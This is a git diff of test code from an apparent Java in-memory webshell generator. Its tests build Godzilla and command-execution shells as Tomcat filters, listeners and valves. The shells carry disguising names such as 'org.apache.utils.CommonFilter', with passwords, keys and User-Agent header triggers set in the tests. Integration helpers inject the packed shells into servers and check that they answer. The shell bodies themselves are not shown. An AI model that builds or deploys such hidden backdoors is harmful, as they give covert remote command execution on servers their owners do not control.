*/
|
||||
class CommandFilterTest {
|
||||
|
||||
@Test
|
||||
void testGenerate() {
|
||||
String className = "org.command.CommandFilter";
|
||||
String paramName = "cmd";
|
||||
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, paramName, false, Constants.DEFAULT_VERSION);
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(CommandFilter.class, "org.apache.utils.CommandFilter"),
|
||||
arguments(CommandListener.class, "org.apache.utils.CommandListener"),
|
||||
arguments(CommandValve.class, "org.apache.utils.CommandValve")
|
||||
|
||||
);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@MethodSource("casesProvider")
|
||||
void generate(Class<?> clazz, String className) {
|
||||
ShellConfig generateConfig = new ShellConfig();
|
||||
CommandConfig shellConfig = CommandConfig.builder()
|
||||
.clazz(clazz)
|
||||
.className(className)
|
||||
.paramName("cmd")
|
||||
.build();
|
||||
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(paramName, ClassUtils.getFieldValue(obj, "paramName"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
|
||||
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
||||
}
|
||||
}
|
||||
-38
@@ -1,38 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaFilterTest {
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
String headerValue = "test";
|
||||
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonFilter";
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
-32
@@ -1,32 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaListenerTest {
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
String headerValue = "test";
|
||||
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonListener";
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaTest {
|
||||
ShellConfig config = new ShellConfig();
|
||||
|
||||
GodzillaConfig.GodzillaConfigBuilder<?, ?> shellConfigBuilder = GodzillaConfig.builder()
|
||||
.pass(CommonUtil.getRandomString(6))
|
||||
.key(CommonUtil.getRandomString(6))
|
||||
.headerName("User-Agent")
|
||||
.headerValue(CommonUtil.getRandomString(5));
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(GodzillaFilter.class, "org.apache.utils.GodzillaFilter"),
|
||||
arguments(GodzillaListener.class, "org.apache.utils.GodzillaListener"),
|
||||
arguments(GodzillaValve.class, "org.apache.utils.GodzillaValve")
|
||||
|
||||
);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@MethodSource("casesProvider")
|
||||
void generate(Class<?> clazz, String className) {
|
||||
GodzillaConfig shellConfig = shellConfigBuilder
|
||||
.className(className)
|
||||
.clazz(clazz)
|
||||
.build();
|
||||
byte[] bytes = GodzillaGenerator.generate(config, shellConfig);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
|
||||
assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
}
|
||||
}
|
||||
-49
@@ -1,49 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaValveTest {
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
String headerValue = "test";
|
||||
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonValve";
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void generateJakarta() {
|
||||
String className = "org.apache.utils.CommonJakartaValve";
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Constants.DEFAULT_VERSION);
|
||||
// Files.write(Paths.get(className + ".class"), bytes);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
-59
File diff suppressed because one or more lines are too long
-47
File diff suppressed because one or more lines are too long
-33
File diff suppressed because one or more lines are too long
+2
-18
@@ -1,21 +1,12 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.config.CommandShellConfig;
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import com.reajason.javaweb.config.CommandConfig;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.HttpUrl;
|
||||
import okhttp3.OkHttpClient;
|
||||
import okhttp3.Request;
|
||||
import okhttp3.Response;
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
@@ -27,15 +18,8 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
*/
|
||||
@Slf4j
|
||||
public class CommandShellTool {
|
||||
|
||||
public static String generate(Server server, CommandShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
|
||||
ShellTool shellTool = ShellTool.Command;
|
||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
||||
return new String(packer.getPacker().pack(generateResult));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void testIsOk(String entrypoint, CommandShellConfig shellConfig) {
|
||||
public static void testIsOk(String entrypoint, CommandConfig shellConfig) {
|
||||
OkHttpClient okHttpClient = new OkHttpClient();
|
||||
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
|
||||
.newBuilder()
|
||||
|
||||
+3
-23
@@ -1,12 +1,10 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
@@ -18,25 +16,7 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
*/
|
||||
public class GodzillaShellTool {
|
||||
|
||||
public static String generate(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
||||
return new String(packer.getPacker().pack(generateResult));
|
||||
}
|
||||
|
||||
public static String generateJSP(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
||||
return new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult));
|
||||
}
|
||||
|
||||
public static String generateJS(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
||||
return new String(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
|
||||
}
|
||||
|
||||
public static void testIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
|
||||
public static void testIsOk(String entrypoint, GodzillaConfig shellConfig) {
|
||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||
.entrypoint(entrypoint).pass(shellConfig.getPass())
|
||||
.key(shellConfig.getKey()).header(shellConfig.getHeaderName()
|
||||
|
||||
+22
-13
@@ -1,12 +1,12 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.config.CommandShellConfig;
|
||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/5
|
||||
@@ -14,28 +14,37 @@ import lombok.extern.slf4j.Slf4j;
|
||||
@Slf4j
|
||||
public class ShellAssertionTool {
|
||||
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(server)
|
||||
.shellTool(shellTool)
|
||||
.shellType(shellType)
|
||||
.targetJdkVersion(targetJdkVersion)
|
||||
.build();
|
||||
|
||||
String shellUrl;
|
||||
switch (shellTool) {
|
||||
case Godzilla:
|
||||
String pass = "pass" + shellType;
|
||||
String key = "key" + shellType;
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerValue = "Godzilla" + shellType + packer.name();
|
||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
.pass(pass).key(key)
|
||||
.headerName("User-Agent").headerValue(headerValue)
|
||||
.build();
|
||||
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
|
||||
String godzillaContent = GodzillaShellTool.generate(server, shellConfig, shellType, targetJdkVersion, packer);
|
||||
String godzillaContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer)));
|
||||
shellUrl = assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer);
|
||||
GodzillaShellTool.testIsOk(shellUrl, shellConfig);
|
||||
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
|
||||
break;
|
||||
case Command:
|
||||
String paramName = "Command" + shellType + packer.name();
|
||||
CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build();
|
||||
String commandContent = CommandShellTool.generate(server, config, shellType, targetJdkVersion, packer);
|
||||
log.info("generated {} command shell with paramName: {}", shellType, config.getParamName());
|
||||
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
|
||||
String commandContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer)));
|
||||
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
|
||||
shellUrl = assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
|
||||
CommandShellTool.testIsOk(shellUrl, config);
|
||||
CommandShellTool.testIsOk(shellUrl, commandConfig);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user